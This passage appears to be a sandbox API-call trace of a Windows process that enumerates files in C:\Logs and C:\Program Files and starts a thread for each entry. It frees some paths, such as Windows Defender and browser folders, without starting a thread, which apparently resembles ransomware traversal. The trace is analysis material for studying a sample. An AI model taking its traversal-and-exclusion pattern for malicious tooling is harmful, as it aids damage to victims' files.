	[0077.319] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a6db2c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x95a6db2c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.evtx", cAlternateFileName="SETUP~1.EVT")) returned 1
	[0077.319] wcscmp (_String1="Setup.evtx", _String2=".") returned 1
	[0077.319] wcscmp (_String1="Setup.evtx", _String2="..") returned 1
	[0077.320] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x26) returned 0x2d77e10
	[0077.320] wcscpy (in: _Dest=0x2d77e10, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0077.320] wcscat (in: _Dest=0x2d77e10, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0077.320] wcscat (in: _Dest=0x2d77e10, _Source="Setup.evtx" | out: _Dest="C:\\Logs\\Setup.evtx") returned="C:\\Logs\\Setup.evtx"
	[0077.320] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d77e10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x854
	[0077.320] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505097c4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505097c4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.evtx", cAlternateFileName="SYSTEM~1.EVT")) returned 1
	[0077.320] wcscmp (_String1="System.evtx", _String2=".") returned 1
	[0077.320] wcscmp (_String1="System.evtx", _String2="..") returned 1
	[0077.320] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x28) returned 0x2d782c0
	[0077.321] wcscpy (in: _Dest=0x2d782c0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0077.321] wcscat (in: _Dest=0x2d782c0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0077.321] wcscat (in: _Dest=0x2d782c0, _Source="System.evtx" | out: _Dest="C:\\Logs\\System.evtx") returned="C:\\Logs\\System.evtx"
	[0077.321] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d782c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x544
	[0077.321] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell.evtx", cAlternateFileName="WINDOW~1.EVT")) returned 1
	[0077.321] wcscmp (_String1="Windows PowerShell.evtx", _String2=".") returned 1
	[0077.321] wcscmp (_String1="Windows PowerShell.evtx", _String2="..") returned 1
	[0077.321] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb2b8
	[0077.322] wcscpy (in: _Dest=0x2dfb2b8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0077.322] wcscat (in: _Dest=0x2dfb2b8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0077.322] wcscat (in: _Dest=0x2dfb2b8, _Source="Windows PowerShell.evtx" | out: _Dest="C:\\Logs\\Windows PowerShell.evtx") returned="C:\\Logs\\Windows PowerShell.evtx"
	[0077.322] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2dfb2b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x540
	[0077.322] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell.evtx", cAlternateFileName="WINDOW~1.EVT")) returned 0
	[0077.322] FindClose (in: hFindFile=0x2d71000 | out: hFindFile=0x2d71000) returned 1
	[0084.352] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c580) returned 1
	[0084.352] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d79aa0) returned 1
	[0084.352] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d79a40) returned 1

Thread:
	id = 32
	os_tid = 0x874

	[0073.143] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x26) returned 0x2d77ea0
	[0073.143] wcscpy (in: _Dest=0x2d77ea0, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files"
	[0073.143] wcscat (in: _Dest=0x2d77ea0, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\"
	[0073.143] wcscat (in: _Dest=0x2d77ea0, _Source="*" | out: _Dest="C:\\Program Files\\*") returned="C:\\Program Files\\*"
	[0073.143] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.143] FindFirstFileW (in: lpFileName="C:\\Program Files\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x40f99b1c, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x40f99b1c, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71080
	[0073.144] wcscmp (_String1=".", _String2=".") returned 0
	[0073.144] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x40f99b1c, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x40f99b1c, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.144] wcscmp (_String1="..", _String2=".") returned 1
	[0073.144] wcscmp (_String1="..", _String2="..") returned 0
	[0073.144] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3a2c02c7, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3a2c02c7, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1
	[0073.144] wcscmp (_String1="Common Files", _String2=".") returned 1
	[0073.144] wcscmp (_String1="Common Files", _String2="..") returned 1
	[0073.144] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3c) returned 0x2d73228
	[0073.145] wcscpy (in: _Dest=0x2d73228, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files"
	[0073.145] wcscat (in: _Dest=0x2d73228, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\"
	[0073.145] wcscat (in: _Dest=0x2d73228, _Source="Common Files" | out: _Dest="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files"
	[0073.145] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d73228, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368
	[0073.145] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a307d95, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d0779b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d0779b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0073.145] wcscmp (_String1="desktop.ini", _String2=".") returned 1
	[0073.145] wcscmp (_String1="desktop.ini", _String2="..") returned 1
	[0073.145] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3a24da58, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3a24da58, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
	[0073.145] wcscmp (_String1="Internet Explorer", _String2=".") returned 1
	[0073.145] wcscmp (_String1="Internet Explorer", _String2="..") returned 1
	[0073.145] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x46) returned 0x4730d30
	[0073.145] wcscpy (in: _Dest=0x4730d30, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files"
	[0073.145] wcscat (in: _Dest=0x4730d30, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\"
	[0073.145] wcscat (in: _Dest=0x4730d30, _Source="Internet Explorer" | out: _Dest="C:\\Program Files\\Internet Explorer") returned="C:\\Program Files\\Internet Explorer"
	[0073.145] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730d30) returned 1
	[0073.145] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3b6b7d9c, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b6b7d9c, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1
	[0073.145] wcscmp (_String1="Java", _String2=".") returned 1
	[0073.146] wcscmp (_String1="Java", _String2="..") returned 1
	[0073.146] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2c) returned 0x2d7be38
	[0073.146] wcscpy (in: _Dest=0x2d7be38, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files"
	[0073.146] wcscat (in: _Dest=0x2d7be38, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\"
	[0073.146] wcscat (in: _Dest=0x2d7be38, _Source="Java" | out: _Dest="C:\\Program Files\\Java") returned="C:\\Program Files\\Java"
	[0073.146] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7be38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x360
	[0073.146] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b7042f9, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b7042f9, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1
	[0073.146] wcscmp (_String1="Microsoft Office", _String2=".") returned 1
	[0073.146] wcscmp (_String1="Microsoft Office", _String2="..") returned 1
	[0073.146] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x44) returned 0x4730ce0
	[0073.146] wcscpy (in: _Dest=0x4730ce0, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files"
	[0073.146] wcscat (in: _Dest=0x4730ce0, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\"
	[0073.146] wcscat (in: _Dest=0x4730ce0, _Source="Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office"
	[0073.146] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4730ce0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x35c
	[0073.147] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b66b7e6, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b66b7e6, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office 15", cAlternateFileName="MICROS~1")) returned 1
	[0073.147] wcscmp (_String1="Microsoft Office 15", _String2=".") returned 1
	[0073.147] wcscmp (_String1="Microsoft Office 15", _String2="..") returned 1
	[0073.147] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4a) returned 0x2d57bc0
	[0073.147] wcscpy (in: _Dest=0x2d57bc0, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files"
	[0073.147] wcscat (in: _Dest=0x2d57bc0, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\"
	[0073.147] wcscat (in: _Dest=0x2d57bc0, _Source="Microsoft Office 15" | out: _Dest="C:\\Program Files\\Microsoft Office 15") returned="C:\\Program Files\\Microsoft Office 15"
	[0073.147] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d57bc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x358
	[0073.148] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe99e772e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3b66b7e6, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b66b7e6, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1
	[0073.148] wcscmp (_String1="Mozilla Firefox", _String2=".") returned 1
	[0073.148] wcscmp (_String1="Mozilla Firefox", _String2="..") returned 1
	[0073.148] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x42) returned 0x4730ec0
	[0073.148] wcscpy (in: _Dest=0x4730ec0, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files"
	[0073.148] wcscat (in: _Dest=0x4730ec0, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\"
	[0073.148] wcscat (in: _Dest=0x4730ec0, _Source="Mozilla Firefox" | out: _Dest="C:\\Program Files\\Mozilla Firefox") returned="C:\\Program Files\\Mozilla Firefox"
	[0073.148] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730ec0) returned 1
	[0073.148] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0x3a29a064, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3a29a064, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1
	[0073.148] wcscmp (_String1="MSBuild", _String2=".") returned 1
	[0073.148] wcscmp (_String1="MSBuild", _String2="..") returned 1
	[0073.148] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2d71140
	[0073.148] wcscpy (in: _Dest=0x2d71140, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files"
	[0073.148] wcscat (in: _Dest=0x2d71140, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\"
	[0073.148] wcscat (in: _Dest=0x2d71140, _Source="MSBuild" | out: _Dest="C:\\Program Files\\MSBuild") returned="C:\\Program Files\\MSBuild"
	[0073.148] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d71140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x348
	[0073.149] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0x3ba97b78, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3ba97b78, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1
	[0073.149] wcscmp (_String1="Reference Assemblies", _String2=".") returned 1
	[0073.149] wcscmp (_String1="Reference Assemblies", _String2="..") returned 1
	[0073.149] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2d583d8
	[0073.149] wcscpy (in: _Dest=0x2d583d8, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files"
	[0073.149] wcscat (in: _Dest=0x2d583d8, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\"
	[0073.149] wcscat (in: _Dest=0x2d583d8, _Source="Reference Assemblies" | out: _Dest="C:\\Program Files\\Reference Assemblies") returned="C:\\Program Files\\Reference Assemblies"
	[0073.149] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d583d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x31c
	[0073.150] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x59f2f4b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x3b7042f9, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b7042f9, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rempl", cAlternateFileName="")) returned 1
	[0073.150] wcscmp (_String1="rempl", _String2=".") returned 1
	[0073.150] wcscmp (_String1="rempl", _String2="..") returned 1
	[0073.150] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2e) returned 0x2d7c1f0
	[0073.150] wcscpy (in: _Dest=0x2d7c1f0, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files"
	[0073.150] wcscat (in: _Dest=0x2d7c1f0, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\"
	[0073.150] wcscat (in: _Dest=0x2d7c1f0, _Source="rempl" | out: _Dest="C:\\Program Files\\rempl") returned="C:\\Program Files\\rempl"
	[0073.150] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7c1f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x354
	[0073.150] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd2709a20, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x3ba71695, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3ba71695, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1
	[0073.150] wcscmp (_String1="Uninstall Information", _String2=".") returned 1
	[0073.150] wcscmp (_String1="Uninstall Information", _String2="..") returned 1
	[0073.150] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4e) returned 0x2d5a238
	[0073.150] wcscpy (in: _Dest=0x2d5a238, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files"
	[0073.150] wcscat (in: _Dest=0x2d5a238, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\"
	[0073.150] wcscat (in: _Dest=0x2d5a238, _Source="Uninstall Information" | out: _Dest="C:\\Program Files\\Uninstall Information") returned="C:\\Program Files\\Uninstall Information"
	[0073.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d5a238, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x438
	[0073.151] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4c509d45, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x3b72a48d, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b72a48d, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UNP", cAlternateFileName="")) returned 1
	[0073.151] wcscmp (_String1="UNP", _String2=".") returned 1
	[0073.151] wcscmp (_String1="UNP", _String2="..") returned 1
	[0073.151] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2a) returned 0x2d7bd58
	[0073.151] wcscpy (in: _Dest=0x2d7bd58, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files"
	[0073.151] wcscat (in: _Dest=0x2d7bd58, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\"
	[0073.151] wcscat (in: _Dest=0x2d7bd58, _Source="UNP" | out: _Dest="C:\\Program Files\\UNP") returned="C:\\Program Files\\UNP"
	[0073.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7bd58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x43c
	[0073.156] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa8f11cc1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x711dc3b4, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1
	[0073.156] wcscmp (_String1="Windows Defender", _String2=".") returned 1
	[0073.156] wcscmp (_String1="Windows Defender", _String2="..") returned 1
	[0073.156] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x44) returned 0x4730ec0
	[0073.156] wcscpy (in: _Dest=0x4730ec0, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files"
	[0073.156] wcscat (in: _Dest=0x4730ec0, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\"
	[0073.156] wcscat (in: _Dest=0x4730ec0, _Source="Windows Defender" | out: _Dest="C:\\Program Files\\Windows Defender") returned="C:\\Program Files\\Windows Defender"
	[0073.156] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730ec0) returned 1
	[0073.156] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x3b72a48d, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b72a48d, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1
	[0073.156] wcscmp (_String1="Windows Defender Advanced Threat Protection", _String2=".") returned 1
	[0073.157] wcscmp (_String1="Windows Defender Advanced Threat Protection", _String2="..") returned 1
	[0073.157] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7a) returned 0x2d62fc8
	[0073.157] wcscpy (in: _Dest=0x2d62fc8, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files"
	[0073.157] wcscat (in: _Dest=0x2d62fc8, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\"
	[0073.157] wcscat (in: _Dest=0x2d62fc8, _Source="Windows Defender Advanced Threat Protection" | out: _Dest="C:\\Program Files\\Windows Defender Advanced Threat Protection") returned="C:\\Program Files\\Windows Defender Advanced Threat Protection"
	[0073.157] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d62fc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x440
	[0073.157] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b691ba5, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b691ba5, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1
	[0073.157] wcscmp (_String1="Windows Mail", _String2=".") returned 1
	[0073.157] wcscmp (_String1="Windows Mail", _String2="..") returned 1
